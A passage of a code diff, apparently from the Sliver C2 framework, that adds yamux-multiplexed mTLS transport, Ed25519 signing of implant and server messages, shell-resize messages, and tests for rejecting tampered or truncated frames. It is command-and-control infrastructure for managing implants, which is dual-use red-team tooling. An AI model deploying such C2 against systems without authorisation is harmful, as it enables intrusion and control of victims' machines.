return MsgShellReq
|
||||
case *Shell:
|
||||
return MsgShell
|
||||
case *ShellResizeReq:
|
||||
return MsgShellResizeReq
|
||||
case *ProcessDumpReq:
|
||||
return MsgProcessDumpReq
|
||||
case *ProcessDump:
|
||||
|
||||
+699
-587
File diff suppressed because it is too large.
Load diff
@@ -825,6 +825,8 @@ message ShellReq {
|
||||
string Path = 1;
|
||||
bool EnablePTY = 2;
|
||||
uint32 Pid = 3;
|
||||
uint32 Rows = 4;
|
||||
uint32 Cols = 5;
|
||||
|
||||
uint64 TunnelID = 8 [jstype = JS_STRING]; // Bind to this tunnel
|
||||
commonpb.Request Request = 9;
|
||||
@@ -840,6 +842,14 @@ message Shell {
|
||||
commonpb.Response Response = 9;
|
||||
}
|
||||
|
||||
message ShellResizeReq {
|
||||
uint32 Rows = 1;
|
||||
uint32 Cols = 2;
|
||||
|
||||
uint64 TunnelID = 8 [jstype = JS_STRING];
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
|
||||
|
||||
message PortfwdReq {
|
||||
uint32 Port = 1;
|
||||
@@ -1356,4 +1366,4 @@ message StartServiceByNameReq {
|
||||
ServiceInfoReq ServiceInfo = 1;
|
||||
|
||||
commonpb.Request Request = 9;
|
||||
}
|
||||
}
|
||||
+9
-10
@@ -36,13 +36,13 @@ var (
|
||||
)
|
||||
|
||||
func TestMain(m *testing.M) {
|
||||
implantConfig := setup()
|
||||
implantBuild := setup()
|
||||
code1 := m.Run()
|
||||
cleanup(implantConfig)
|
||||
cleanup(implantBuild)
|
||||
os.Exit(code1)
|
||||
}
|
||||
|
||||
func setup() *models.ImplantConfig {
|
||||
func setup() *models.ImplantBuild {
|
||||
var err error
|
||||
certs.SetupCAs()
|
||||
serverAgeKeyPair = cryptography.AgeServerKeyPair()
|
||||
@@ -60,6 +60,7 @@ func setup() *models.ImplantConfig {
|
||||
publicKeyDigest := hex.EncodeToString(digest.Sum(nil))
|
||||
|
||||
implantBuild := &models.ImplantBuild{
|
||||
Name: "test-" + publicKeyDigest,
|
||||
PeerPublicKey: peerAgeKeyPair.Public,
|
||||
PeerPublicKeyDigest: publicKeyDigest,
|
||||
PeerPrivateKey: peerAgeKeyPair.Private,
|
||||
@@ -70,13 +71,11 @@ func setup() *models.ImplantConfig {
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
return implantBuild
|
||||
}
|
||||
|
||||
implantConfig := &models.ImplantConfig{
|
||||
ImplantBuilds: []models.ImplantBuild{*implantBuild},
|
||||
func cleanup(implantBuild *models.ImplantBuild) {
|
||||
if implantBuild != nil {
|
||||
db.Session().Delete(implantBuild)
|
||||
}
|
||||
return implantConfig
|
||||
}
|
||||
|
||||
func cleanup(implantConfig *models.ImplantConfig) {
|
||||
db.Session().Delete(implantConfig)
|
||||
}
|
||||
+224
-39
@@ -19,7 +19,10 @@ package c2
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"crypto/ed25519"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/binary"
|
||||
@@ -27,13 +30,20 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
serverHandlers "github.com/bishopfox/sliver/server/handlers"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
"github.com/hashicorp/yamux"
|
||||
"golang.org/x/crypto/blake2b"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
@@ -43,12 +53,57 @@ const (
|
||||
|
||||
// ServerMaxMessageSize - Server-side max GRPC message size
|
||||
ServerMaxMessageSize = (2 * 1024 * 1024 * 1024) - 1
|
||||
|
||||
mtlsYamuxPreface = "MUX/1"
|
||||
|
||||
mtlsYamuxMaxConcurrentStreams = 128
|
||||
mtlsYamuxMaxConcurrentSends = 64
|
||||
)
|
||||
|
||||
var (
|
||||
mtlsLog = log.NamedLogger("c2", consts.MtlsStr)
|
||||
|
||||
mtlsYamuxPrefaceBytes = []byte(mtlsYamuxPreface)
|
||||
|
||||
mtlsImplantSigKeyCache sync.Map // map[uint64]ed25519.PublicKey
|
||||
)
|
||||
|
||||
const mtlsEnvelopeSigningSeedPrefix = "env-signing-v1:"
|
||||
|
||||
func deriveImplantSigningKey(peerPrivateKey string) (uint64, ed25519.PublicKey, error) {
|
||||
if peerPrivateKey == "" {
|
||||
return 0, nil, errors.New("[mtls] missing peer private key")
|
||||
}
|
||||
seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerPrivateKey))
|
||||
priv := ed25519.NewKeyFromSeed(seed[:])
|
||||
pub := priv.Public().(ed25519.PublicKey)
|
||||
digest := blake2b.Sum256(pub)
|
||||
keyID := binary.LittleEndian.Uint64(digest[:8])
|
||||
return keyID, pub, nil
|
||||
}
|
||||
|
||||
func lookupImplantSigKey(keyID uint64) (ed25519.PublicKey, bool, error) {
|
||||
if cached, ok := mtlsImplantSigKeyCache.Load(keyID); ok {
|
||||
return cached.(ed25519.PublicKey), true, nil
|
||||
}
|
||||
|
||||
builds := []*models.ImplantBuild{}
|
||||
if err := db.Session().Where(&models.ImplantBuild{}).Find(&builds).Error; err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
for _, build := range builds {
|
||||
buildKeyID, pub, err := deriveImplantSigningKey(build.PeerPrivateKey)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if buildKeyID == keyID {
|
||||
mtlsImplantSigKeyCache.Store(keyID, pub)
|
||||
return pub, false, nil
|
||||
}
|
||||
}
|
||||
return nil, false, errors.New("[mtls] unknown implant signature key")
|
||||
}
|
||||
|
||||
// StartMutualTLSListener - Start a mutual TLS listener
|
||||
func StartMutualTLSListener(bindIface string, port uint16) (net.Listener, error) {
|
||||
mtlsLog.Infof("Starting raw TCP/mTLS listener on %s:%d", bindIface, port)
|
||||
@@ -94,51 +149,144 @@ func handleSliverConnection(conn net.Conn) {
|
||||
implantConn.Cleanup()
|
||||
}()
|
||||
|
||||
done := make(chan bool)
|
||||
br := bufio.NewReader(conn)
|
||||
bufferedConn := &mtlsBufferedConn{Conn: conn, r: br}
|
||||
|
||||
preface, err := br.Peek(len(mtlsYamuxPrefaceBytes))
|
||||
if err == nil && bytes.Equal(preface, mtlsYamuxPrefaceBytes) {
|
||||
if _, err := br.Discard(len(mtlsYamuxPrefaceBytes)); err != nil {
|
||||
mtlsLog.Errorf("Failed to discard yamux preface: %v", err)
|
||||
return
|
||||
}
|
||||
handleSliverConnectionYamux(bufferedConn, implantConn)
|
||||
return
|
||||
}
|
||||
mtlsLog.Warnf("Rejecting legacy mtls connection (missing yamux preface) from %s", conn.RemoteAddr())
|
||||
}
|
||||
|
||||
type mtlsBufferedConn struct {
|
||||
net.Conn
|
||||
r *bufio.Reader
|
||||
}
|
||||
|
||||
func (c *mtlsBufferedConn) Read(p []byte) (int, error) {
|
||||
return c.r.Read(p)
|
||||
}
|
||||
|
||||
func handleSliverConnectionYamux(conn net.Conn, implantConn *core.ImplantConnection) {
|
||||
session, err := yamux.Server(conn, nil)
|
||||
if err != nil {
|
||||
mtlsLog.Errorf("Failed to initialize yamux session: %v", err)
|
||||
return
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
done := make(chan struct{})
|
||||
var doneOnce sync.Once
|
||||
closeDone := func() {
|
||||
doneOnce.Do(func() {
|
||||
close(done)
|
||||
session.Close()
|
||||
})
|
||||
}
|
||||
|
||||
streamSem := make(chan struct{}, mtlsYamuxMaxConcurrentStreams)
|
||||
sendSem := make(chan struct{}, mtlsYamuxMaxConcurrentSends)
|
||||
handlers := serverHandlers.GetHandlers()
|
||||
|
||||
go func() {
|
||||
defer func() {
|
||||
done <- true
|
||||
}()
|
||||
handlers := serverHandlers.GetHandlers()
|
||||
defer closeDone()
|
||||
for {
|
||||
envelope, err := socketReadEnvelope(conn)
|
||||
stream, err := session.Accept()
|
||||
if err != nil {
|
||||
mtlsLog.Errorf("Socket read error %v", err)
|
||||
if !errors.Is(err, io.EOF) {
|
||||
mtlsLog.Errorf("yamux accept error: %v", err)
|
||||
}
|
||||
return
|
||||
}
|
||||
implantConn.UpdateLastMessage()
|
||||
if envelope.ID != 0 {
|
||||
implantConn.RespMutex.RLock()
|
||||
if resp, ok := implantConn.Resp[envelope.ID]; ok {
|
||||
resp <- envelope // Could deadlock, maybe want to investigate better solutions
|
||||
}
|
||||
implantConn.RespMutex.RUnlock()
|
||||
} else if handler, ok := handlers[envelope.Type]; ok {
|
||||
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
|
||||
go func() {
|
||||
respEnvelope := handler(implantConn, envelope.Data)
|
||||
if respEnvelope != nil {
|
||||
implantConn.Send <- respEnvelope
|
||||
}
|
||||
|
||||
select {
|
||||
case streamSem <- struct{}{}:
|
||||
case <-done:
|
||||
stream.Close()
|
||||
return
|
||||
}
|
||||
|
||||
go func(stream net.Conn) {
|
||||
defer func() {
|
||||
<-streamSem
|
||||
}()
|
||||
defer stream.Close()
|
||||
|
||||
envelope, err := socketReadEnvelope(stream)
|
||||
if err != nil {
|
||||
mtlsLog.Errorf("Stream read error %v", err)
|
||||
closeDone()
|
||||
return
|
||||
}
|
||||
implantConn.UpdateLastMessage()
|
||||
|
||||
if envelope.ID != 0 {
|
||||
implantConn.RespMutex.RLock()
|
||||
resp, ok := implantConn.Resp[envelope.ID]
|
||||
implantConn.RespMutex.RUnlock()
|
||||
if ok {
|
||||
resp <- envelope
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if handler, ok := handlers[envelope.Type]; ok {
|
||||
mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
|
||||
go func(envelope *sliverpb.Envelope) {
|
||||
respEnvelope := handler(implantConn, envelope.Data)
|
||||
if respEnvelope != nil {
|
||||
implantConn.Send <- respEnvelope
|
||||
}
|
||||
}(envelope)
|
||||
}
|
||||
}(stream)
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer closeDone()
|
||||
for {
|
||||
select {
|
||||
case envelope := <-implantConn.Send:
|
||||
select {
|
||||
case sendSem <- struct{}{}:
|
||||
case <-done:
|
||||
return
|
||||
}
|
||||
|
||||
go func(envelope *sliverpb.Envelope) {
|
||||
defer func() {
|
||||
<-sendSem
|
||||
}()
|
||||
|
||||
stream, err := session.Open()
|
||||
if err != nil {
|
||||
mtlsLog.Errorf("yamux open stream error: %v", err)
|
||||
closeDone()
|
||||
return
|
||||
}
|
||||
defer stream.Close()
|
||||
|
||||
if err := socketWriteEnvelope(stream, envelope); err != nil {
|
||||
mtlsLog.Errorf("Stream write failed %v", err)
|
||||
closeDone()
|
||||
return
|
||||
}
|
||||
}(envelope)
|
||||
|
||||
case <-done:
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
Loop:
|
||||
for {
|
||||
select {
|
||||
case envelope := <-implantConn.Send:
|
||||
err := socketWriteEnvelope(conn, envelope)
|
||||
if err != nil {
|
||||
mtlsLog.Errorf("Socket write failed %v", err)
|
||||
break Loop
|
||||
}
|
||||
case <-done:
|
||||
break Loop
|
||||
}
|
||||
}
|
||||
mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
|
||||
<-done
|
||||
}
|
||||
|
||||
// socketWriteEnvelope - Writes a message to the TLS socket using length prefix framing
|
||||
@@ -150,19 +298,41 @@ func socketWriteEnvelope(connection net.Conn, envelope *sliverpb.Envelope) error
|
||||
mtlsLog.Errorf("Envelope marshaling error: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// Prepend a fixed-length raw minisign signature (binary) so the implant can
|
||||
// verify messages independent of the mTLS layer.
|
||||
rawSig := minisign.SignRawBuf(*serverCrypto.MinisignServerPrivateKey(), data)
|
||||
if _, err := connection.Write(rawSig[:]); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
connection.Write(dataLengthBuf.Bytes())
|
||||
connection.Write(data)
|
||||
if err := binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data))); err != nil {
|
||||
mtlsLog.Errorf("Envelope marshaling error: %v", err)
|
||||
return err
|
||||
}
|
||||
if _, err := connection.Write(dataLengthBuf.Bytes()); err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err := connection.Write(data); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// socketReadEnvelope - Reads a message from the TLS connection using length prefix framing
|
||||
// returns messageType, message, and error
|
||||
func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
|
||||
rawSigBuf := make([]byte, minisign.RawSigSize)
|
||||
// Read the first four bytes to determine data length
|
||||
dataLengthBuf := make([]byte, 4) // Size of uint32
|
||||
n, err := io.ReadFull(connection, dataLengthBuf)
|
||||
n, err := io.ReadFull(connection, rawSigBuf)
|
||||
if err != nil || n != len(rawSigBuf) {
|
||||
mtlsLog.Errorf("Socket error (read raw signature): %v", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
n, err = io.ReadFull(connection, dataLengthBuf)
|
||||
if err != nil || n != 4 {
|
||||
mtlsLog.Errorf("Socket error (read msg-length): %v", err)
|
||||
return nil, err
|
||||
@@ -184,6 +354,21 @@ func socketReadEnvelope(connection net.Conn) (*sliverpb.Envelope, error) {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
algorithm := binary.LittleEndian.Uint16(rawSigBuf[:2])
|
||||
if algorithm != minisign.EdDSA {
|
||||
return nil, errors.New("[mtls] unsupported signature algorithm")
|
||||
}
|
||||
keyID := binary.LittleEndian.Uint64(rawSigBuf[2:10])
|
||||
|
||||
pubKey, _, err := lookupImplantSigKey(keyID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
signature := rawSigBuf[10:]
|
||||
if !ed25519.Verify(pubKey, dataBuf, signature) {
|
||||
return nil, errors.New("[mtls] invalid signature")
|
||||
}
|
||||
|
||||
// Unmarshal the protobuf envelope
|
||||
envelope := &sliverpb.Envelope{}
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
|
||||
@@ -0,0 +1,366 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/ed25519"
|
||||
"crypto/rand"
|
||||
"crypto/sha256"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
implantMTLS "github.com/bishopfox/sliver/implant/sliver/transports/mtls"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
serverCrypto "github.com/bishopfox/sliver/server/cryptography"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
"golang.org/x/crypto/blake2b"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func clearMTLSImplantSigKeyCache(t *testing.T) {
|
||||
t.Helper()
|
||||
mtlsImplantSigKeyCache.Range(func(key, _ any) bool {
|
||||
mtlsImplantSigKeyCache.Delete(key)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func newImplantSignedEnvelopeFrame(t *testing.T, peerPrivateKey string, envelope *sliverpb.Envelope) ([]byte, uint64, ed25519.PublicKey) {
|
||||
t.Helper()
|
||||
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal envelope: %v", err)
|
||||
}
|
||||
|
||||
seed := sha256.Sum256([]byte(mtlsEnvelopeSigningSeedPrefix + peerPrivateKey))
|
||||
priv := ed25519.NewKeyFromSeed(seed[:])
|
||||
pub := priv.Public().(ed25519.PublicKey)
|
||||
|
||||
digest := blake2b.Sum256(pub)
|
||||
keyID := binary.LittleEndian.Uint64(digest[:8])
|
||||
|
||||
rawSigBuf := make([]byte, minisign.RawSigSize)
|
||||
binary.LittleEndian.PutUint16(rawSigBuf[:2], minisign.EdDSA)
|
||||
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
|
||||
copy(rawSigBuf[10:], ed25519.Sign(priv, data))
|
||||
|
||||
frame := make([]byte, 0, minisign.RawSigSize+4+len(data))
|
||||
frame = append(frame, rawSigBuf...)
|
||||
|
||||
dataLengthBuf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(dataLengthBuf, uint32(len(data)))
|
||||
frame = append(frame, dataLengthBuf...)
|
||||
frame = append(frame, data...)
|
||||
|
||||
return frame, keyID, pub
|
||||
}
|
||||
|
||||
func newServerSignedEnvelopeFrame(t *testing.T, envelope *sliverpb.Envelope) []byte {
|
||||
t.Helper()
|
||||
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
t.Fatalf("marshal envelope: %v", err)
|
||||
}
|
||||
|
||||
rawSig := minisign.SignRawBuf(*serverCrypto.MinisignServerPrivateKey(), data)
|
||||
|
||||
frame := make([]byte, 0, minisign.RawSigSize+4+len(data))
|
||||
frame = append(frame, rawSig[:]...)
|
||||
|
||||
dataLengthBuf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(dataLengthBuf, uint32(len(data)))
|
||||
frame = append(frame, dataLengthBuf...)
|
||||
frame = append(frame, data...)
|
||||
|
||||
return frame
|
||||
}
|
||||
|
||||
func TestMTLSSocketReadEnvelopeRejectsUnsupportedAlgorithm(t *testing.T) {
|
||||
clearMTLSImplantSigKeyCache(t)
|
||||
|
||||
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
mtlsImplantSigKeyCache.Store(keyID, pub)
|
||||
|
||||
// Flip to HashEdDSA (or any non-EdDSA value), should be rejected.
|
||||
binary.LittleEndian.PutUint16(frame[:2], minisign.HashEdDSA)
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
_, err := socketReadEnvelope(srv)
|
||||
errCh <- err
|
||||
}()
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
err := <-errCh
|
||||
if err == nil || !strings.Contains(err.Error(), "unsupported signature algorithm") {
|
||||
t.Fatalf("expected unsupported signature algorithm error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMTLSSocketReadEnvelopeAcceptsValidSignature(t *testing.T) {
|
||||
clearMTLSImplantSigKeyCache(t)
|
||||
|
||||
want := &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
}
|
||||
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", want)
|
||||
mtlsImplantSigKeyCache.Store(keyID, pub)
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
got, err := socketReadEnvelope(srv)
|
||||
if err != nil {
|
||||
t.Fatalf("expected valid signature, got err=%v", err)
|
||||
}
|
||||
if got.Type != want.Type || !bytes.Equal(got.Data, want.Data) {
|
||||
t.Fatalf("unexpected envelope: got=%+v want=%+v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMTLSSocketReadEnvelopeRejectsInvalidSignature(t *testing.T) {
|
||||
clearMTLSImplantSigKeyCache(t)
|
||||
|
||||
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
mtlsImplantSigKeyCache.Store(keyID, pub)
|
||||
|
||||
// Corrupt a signature byte.
|
||||
frame[10] ^= 0xff
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
_, err := socketReadEnvelope(srv)
|
||||
errCh <- err
|
||||
}()
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
err := <-errCh
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
|
||||
t.Fatalf("expected invalid signature error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMTLSSocketReadEnvelopeRejectsTamperedMessage(t *testing.T) {
|
||||
clearMTLSImplantSigKeyCache(t)
|
||||
|
||||
frame, keyID, pub := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
mtlsImplantSigKeyCache.Store(keyID, pub)
|
||||
|
||||
// Flip a byte in the protobuf payload after signing.
|
||||
dataOffset := minisign.RawSigSize + 4
|
||||
frame[dataOffset] ^= 0x01
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
_, err := socketReadEnvelope(srv)
|
||||
errCh <- err
|
||||
}()
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
err := <-errCh
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
|
||||
t.Fatalf("expected invalid signature error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMTLSSocketReadEnvelopeRejectsWrongKeyID(t *testing.T) {
|
||||
clearMTLSImplantSigKeyCache(t)
|
||||
|
||||
frame, keyID, _ := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
|
||||
// Swap the key ID to a different cached public key (signature won't match).
|
||||
wrongPub, _, err := ed25519.GenerateKey(rand.Reader)
|
||||
if err != nil {
|
||||
t.Fatalf("generate ed25519 key: %v", err)
|
||||
}
|
||||
wrongKeyID := keyID + 1
|
||||
mtlsImplantSigKeyCache.Store(wrongKeyID, wrongPub)
|
||||
binary.LittleEndian.PutUint64(frame[2:10], wrongKeyID)
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
_, err := socketReadEnvelope(srv)
|
||||
errCh <- err
|
||||
}()
|
||||
go func() {
|
||||
_, _ = cli.Write(frame)
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
err = <-errCh
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
|
||||
t.Fatalf("expected invalid signature error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMTLSSocketReadEnvelopeRejectsTruncatedSignature(t *testing.T) {
|
||||
clearMTLSImplantSigKeyCache(t)
|
||||
|
||||
frame, _, _ := newImplantSignedEnvelopeFrame(t, "peer-private-key-test", &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
|
||||
srv, cli := net.Pipe()
|
||||
defer srv.Close()
|
||||
defer cli.Close()
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
_, err := socketReadEnvelope(srv)
|
||||
errCh <- err
|
||||
}()
|
||||
go func() {
|
||||
_, _ = cli.Write(frame[:minisign.RawSigSize-1])
|
||||
_ = cli.Close()
|
||||
}()
|
||||
|
||||
err := <-errCh
|
||||
if err == nil {
|
||||
t.Fatalf("expected error for truncated signature, got nil")
|
||||
}
|
||||
if !errors.Is(err, io.EOF) && !errors.Is(err, io.ErrUnexpectedEOF) {
|
||||
t.Fatalf("expected EOF for truncated signature, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMTLSImplantReadEnvelopeRejectsInvalidServerSignature(t *testing.T) {
|
||||
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
|
||||
// Corrupt a signature byte.
|
||||
frame[10] ^= 0xff
|
||||
|
||||
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
|
||||
t.Fatalf("expected invalid signature error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMTLSImplantReadEnvelopeAcceptsValidServerSignature(t *testing.T) {
|
||||
want := &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
}
|
||||
frame := newServerSignedEnvelopeFrame(t, want)
|
||||
|
||||
got, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
|
||||
if err != nil {
|
||||
t.Fatalf("expected valid signature, got err=%v", err)
|
||||
}
|
||||
if got.Type != want.Type || !bytes.Equal(got.Data, want.Data) {
|
||||
t.Fatalf("unexpected envelope: got=%+v want=%+v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMTLSImplantReadEnvelopeRejectsWrongServerKeyID(t *testing.T) {
|
||||
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
|
||||
// Flip key ID bytes.
|
||||
frame[2] ^= 0xff
|
||||
|
||||
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
|
||||
t.Fatalf("expected invalid signature error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMTLSImplantReadEnvelopeRejectsAlgorithmDowngradeTrick(t *testing.T) {
|
||||
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
|
||||
// Change algorithm to HashEdDSA without changing the signature; verification must fail.
|
||||
binary.LittleEndian.PutUint16(frame[:2], minisign.HashEdDSA)
|
||||
|
||||
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
|
||||
t.Fatalf("expected invalid signature error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMTLSImplantReadEnvelopeRejectsTamperedServerMessage(t *testing.T) {
|
||||
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
|
||||
// Flip a byte in the protobuf payload after signing.
|
||||
dataOffset := minisign.RawSigSize + 4
|
||||
frame[dataOffset] ^= 0x01
|
||||
|
||||
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame))
|
||||
if err == nil || !strings.Contains(err.Error(), "invalid signature") {
|
||||
t.Fatalf("expected invalid signature error, got=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMTLSImplantReadEnvelopeRejectsTruncatedServerSignature(t *testing.T) {
|
||||
frame := newServerSignedEnvelopeFrame(t, &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPing,
|
||||
Data: []byte("hello"),
|
||||
})
|
||||
|
||||
_, err := implantMTLS.ReadEnvelope(bytes.NewReader(frame[:minisign.RawSigSize-1]))
|
||||
if err == nil {
|
||||
t.Fatalf("expected error for truncated signature, got nil")
|
||||
}
|
||||
if !errors.Is(err, io.EOF) && !errors.Is(err, io.ErrUnexpectedEOF) {
|
||||
t.Fatalf("expected EOF for truncated signature, got=%v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
//go:build server && go_sqlite && sliver_e2e
|
||||
|
||||
package c2
|
||||
|
||||
import "net"
|
||||
|
||||
// HandleSliverConnectionForTest exposes the raw connection handler to external
|
||||
// (package `c2_test`) end-to-end tests without shipping test-only symbols in
|
||||
// production builds.
|
||||
func HandleSliverConnectionForTest(conn net.Conn) {
|
||||
handleSliverConnection(conn)
|
||||
}
|
||||
@@ -0,0 +1,537 @@
|
||||
//go:build server && go_sqlite && sliver_e2e
|
||||
|
||||
package c2_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
implantMTLS "github.com/bishopfox/sliver/implant/sliver/transports/mtls"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/c2"
|
||||
"github.com/bishopfox/sliver/server/db/models"
|
||||
"github.com/bishopfox/sliver/server/transport"
|
||||
"github.com/google/uuid"
|
||||
"github.com/hashicorp/yamux"
|
||||
